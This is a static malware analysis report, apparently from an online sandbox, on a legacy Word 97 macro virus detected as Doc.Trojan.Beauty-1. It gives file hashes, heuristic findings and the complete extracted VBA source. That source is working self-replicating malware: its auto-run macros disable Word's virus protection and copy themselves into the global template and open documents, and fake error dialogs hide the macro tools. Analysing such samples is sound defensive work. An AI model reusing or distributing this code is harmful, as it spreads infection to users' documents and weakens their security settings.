Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c3e8665f4d780f47…

MALICIOUS

Office (OLE)

36.0 KB Created: 1997-09-16 08:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b15a70641a1c1723d185d599a3523683 SHA-1: 66062bf9718406b42deeffcf0d16a261cd761d2b SHA-256: c3e8665f4d780f472c60e6b6ad4d3e5f4ce1be9dc5e69ff6e718ecb1b189c608
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, with both WordBasic and VBA macros detected, including AutoOpen and AutoClose routines. The ClamAV detection 'Doc.Trojan.Beauty-1' strongly suggests malicious intent. The VBA script attempts to copy itself to the active document and the global template, indicating an effort to establish persistence or ensure execution, and calls a subroutine named 'box1'.

Heuristics 6

  • ClamAV: Doc.Trojan.Beauty-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Beauty-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6778 bytes
SHA-256: ba084a1ee036c28f99c41fc588b72a63c2f15f1b533b5698e327470a3948804a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "SLOT"

Sub autoclose()
On Error GoTo exit_
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll

WordBasic.DisableInput 1
On Error GoTo -1: On Error GoTo exit_
WordBasic.DisableAutoMacros 0
WordBasic.Call "box1"
exit_:
End Sub

Sub autoopen()
On Error GoTo exit_
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll
WordBasic.DisableInput 1
On Error GoTo -1: On Error GoTo exit_
WordBasic.DisableAutoMacros 0
WordBasic.Call "box1"

exit_:
End Sub


Sub box1()
ReDim nm__(2)
Dim monkey
Dim tog$
Dim i
Dim x
Dim a$
WordBasic.DisableInput 1
 
On Error Resume Next
If WordBasic.Day(WordBasic.Now()) <= WordBasic.Int(Rnd() * 30) Then GoTo exit_

slotgame:
On Error Resume Next
Err.Number = 0
monkey = -1
tog$ = ""
i = 0
While monkey = -1
For i = 0 To 2
nm__(i) = WordBasic.Int(Rnd() * 10)
If i = 2 Then
tog$ = tog$ + Str(nm__(2))
GoTo banana
End If
tog$ = tog$ + Str(nm__(i))
Next i
banana:
WordBasic.Beep

WordBasic.MsgBox "今天是 " + WordBasic.[Date$]() + " ,跟你玩一個SLOT的遊戲" + Chr(13) + _
" 試試你的手氣吧 !你這把的幸運號碼是. . . " + Chr(13) + _
tog$ + " ", "Macro Slot Game 4 for Word97"
If tog$ = Str(nm__(i)) + Str(nm__(i)) + Str(nm__(i)) Then
WordBasic.Beep

lucky7:
WordBasic.MsgBox " 咦.......你的手氣不錯喔! ", _
"Macro Slot Game 4 for Word97"
WordBasic.FileNewDefault
WordBasic.CenterPara
WordBasic.FormatFont Font:="細明體", Points:=64, Color:=2, Bold:=1, Underline:=1
WordBasic.Insert "嗯! 算 你 走 運 !!"
For x = 1 To 10
WordBasic.Beep
Next x
GoTo exit_

Else
WordBasic.Beep
On Error GoTo -1: On Error GoTo slotgame
Err.Number = 0
a$ = WordBasic.[InputBox$]("你的手氣太背了 ! 給你一個翻本的機會或是試試下一把吧 ! 請輸入三位數過關密碼  , 猜中了就保送你過關 ! 當然 !  你不猜也行 ! ", _
"Macro Slot Game 4 for Word97")
WordBasic.Beep
If a$ = "777" Then GoTo unlucky Else GoTo try
End If

try:
On Error Resume Next
Err.Number = 0
WordBasic.MsgBox " 這 樣 子 不 行 喔 !你 必 須 輸 入 正 確 的 密 碼 或 是 按 下 取 消 才 行 喔 ! ", _
"Macro Slot Game 4 for Word97"
GoTo slotgame
Wend


unlucky:

On Error Resume Next
WordBasic.MsgBox "OK ! Now We EXIT!", _
"Macro Slot Game 4 for Word97"

exit_:
End Sub

Sub toolsmacro()

WordBasic.DisableInput 1
On Error Resume Next
WordBasic.Beep
WordBasic.MsgBox "記憶體用完", "Microsoft Visual Basic", 48


End Sub


Sub FileTemplates()
WordBasic.Beep
WordBasic.MsgBox "記憶體用完", "Microsoft Visual Basic", 48

End Sub

Sub autonew()
On Error GoTo exit_
    Application.ScreenUpdating = False
    Application.DisplayAlerts = wdAlertsNone
    WordBasic.DisableAutoMacros 0
    Options.VirusProtection = False
    Set ActiveDoc = ActiveDocument
    Set GlobalDoc = NormalTemplate
    DocumentInstalled = False
    GlobalInstalled = False

    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
        If ActiveDocument.VBProject.VBComponents(i).Name = "SLOT" Then
            DocumentInstalled = True
        End If
    Next

    For j = 1 To NormalTemplate.VBProject.VBComponents.Count
        If NormalTemplate.VBProject.VBComponents(j).Name = "SLOT" Then
            GlobalInstalled = True
        End If
    Next

    If DocumentInstalled = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
    End If

    If GlobalInstalled = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="SLOT", Object:=wdOrganizerObjectProjectItems
        Options.SaveNormalPrompt = False
End If
Application.DisplayAlerts = wdAlertsAll

WordBasic.DisableInput 1
On Error GoTo -1: On Error GoTo exit_
WordBasic.DisableAutoMacros 0
WordBasic.Call "box1"
exit_:

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.